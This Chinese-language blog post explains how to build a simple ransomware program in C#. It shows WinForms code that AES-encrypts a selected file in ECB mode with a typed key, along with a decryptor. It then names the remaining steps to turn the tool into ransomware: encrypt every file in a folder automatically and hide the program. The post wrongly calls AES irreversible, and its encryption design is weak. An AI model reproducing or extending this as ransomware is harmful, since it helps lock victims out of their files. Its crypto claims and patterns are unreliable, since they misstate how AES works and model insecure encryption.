也很令人困擾
但其實他所用的技術並不是什麼艱深的技術
他所利用的其實也就是加密技術而已
把檔案用Stream的方式讀出
然後再進行加密
若加密的方式也是像AES這樣是不可逆的加密方式
一旦被加密了就很難解密
接下來我們就利用AES加密演算法自己製作勒索病毒程式吧
首先設計個簡單的UI
可以設計自己的32個字串的密碼
然後選擇瀏覽檔案選擇要加密的檔案
製作一個簡單的word文字
然後按下加密
產生好的檔案就被破壞而打不開了
接下來進行解密,驗證檔案是否已經還原
hello.docx為原始檔案
hello_Encrypt.docx為加密後的檔案
hello_Encrypt_Decrypt.docx為解密後的檔案
部分程式碼如下:
- private void btnEncrypt_Click(object sender, EventArgs e)
- {
- if (checkKeyAndFile())
- {
- FileStream fs1 = File.OpenRead(txtFile.Text);
- Byte[] byte1 = new Byte[fs1.Length];
- fs1.Read(byte1, 0, (int)byte1.Length);
- fs1.Close();
- fs1.Dispose();
- string strEncrypt = Encrypt_AES(Convert.ToBase64String(byte1, 0, byte1.Length), txtKey.Text);
- string strNewFileName = txtFile.Text.Replace(txtFile.Tag.ToString(), "_Encrypt." + txtFile.Tag.ToString());
- FileStream fs2 = new FileStream(strNewFileName, FileMode.Create);
- Byte[] byte2 = Convert.FromBase64String(strEncrypt);
- fs2.Write(byte2, 0, (int)byte2.Length);
- fs2.Close();
- fs2.Dispose();
- MessageBox.Show("加密完畢");
- }
- }
- private void btnDecrypt_Click(object sender, EventArgs e)
- {
- if (checkKeyAndFile())
- {
- FileStream fs1 = File.OpenRead(txtFile.Text);
- Byte[] byte1 = new Byte[fs1.Length];
- fs1.Read(byte1, 0, (int)byte1.Length);
- fs1.Close();
- fs1.Dispose();
- string strDecrypt = Decrypt_AES(Convert.ToBase64String(byte1, 0, byte1.Length), txtKey.Text);
- if (strDecrypt.Length > 0)
- {
- string strNewFileName = txtFile.Text.Replace(txtFile.Tag.ToString(), "_Decrypt." + txtFile.Tag.ToString());
- FileStream fs2 = new FileStream(strNewFileName, FileMode.Create);
- Byte[] byte2 = Convert.FromBase64String(strDecrypt);
- fs2.Write(byte2, 0, (int)byte2.Length);
- fs2.Close();
- fs2.Dispose();
- MessageBox.Show("解密完畢");
- }
- else
- {
- MessageBox.Show("解密的鑰匙錯誤或解密的檔案錯誤");
- }
- }
- }
- public String Encrypt_AES(String str, string strKey)
- {
- Byte[] keyArray = System.Text.UTF8Encoding.UTF8.GetBytes(strKey);
- Byte[] toEncryptArray = System.Text.UTF8Encoding.UTF8.GetBytes(str);
- System.Security.Cryptography.RijndaelManaged rDel = new System.Security.Cryptography.RijndaelManaged();
- rDel.Key = keyArray;
- rDel.Mode = System.Security.Cryptography.CipherMode.ECB;
- rDel.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
- System.Security.Cryptography.ICryptoTransform cTransform = rDel.CreateEncryptor();
- Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
- return Convert.ToBase64String(resultArray, 0, resultArray.Length);
- }
- public String Decrypt_AES(String str, string strKey)
- {
- try
- {
- Byte[] keyArray = System.Text.UTF8Encoding.UTF8.GetBytes(strKey);
- Byte[] toEncryptArray = Convert.FromBase64String(str);
- System.Security.Cryptography.RijndaelManaged rDel = new System.Security.Cryptography.RijndaelManaged();
- rDel.Key = keyArray;
- rDel.Mode = System.Security.Cryptography.CipherMode.ECB;
- rDel.Padding = System.Security.Cryptography.PaddingMode.PKCS7;
- System.Security.Cryptography.ICryptoTransform cTransform = rDel.CreateDecryptor();
- Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
- return System.Text.UTF8Encoding.UTF8.GetString(resultArray);
- }
- catch (Exception)
- {
- //throw ex.Message.ToString();
- return "";
- }
- }
只要加一改造就好
自動偵測資料底下的檔案進行加密就好
最後再將程式碼製成隱藏的檔案就是一個簡單的勒索病毒了
為了不鼓勵大家做壞事
細節就不再多贊述
咱們還是以技術的角度來學習喔
沒有留言:
張貼留言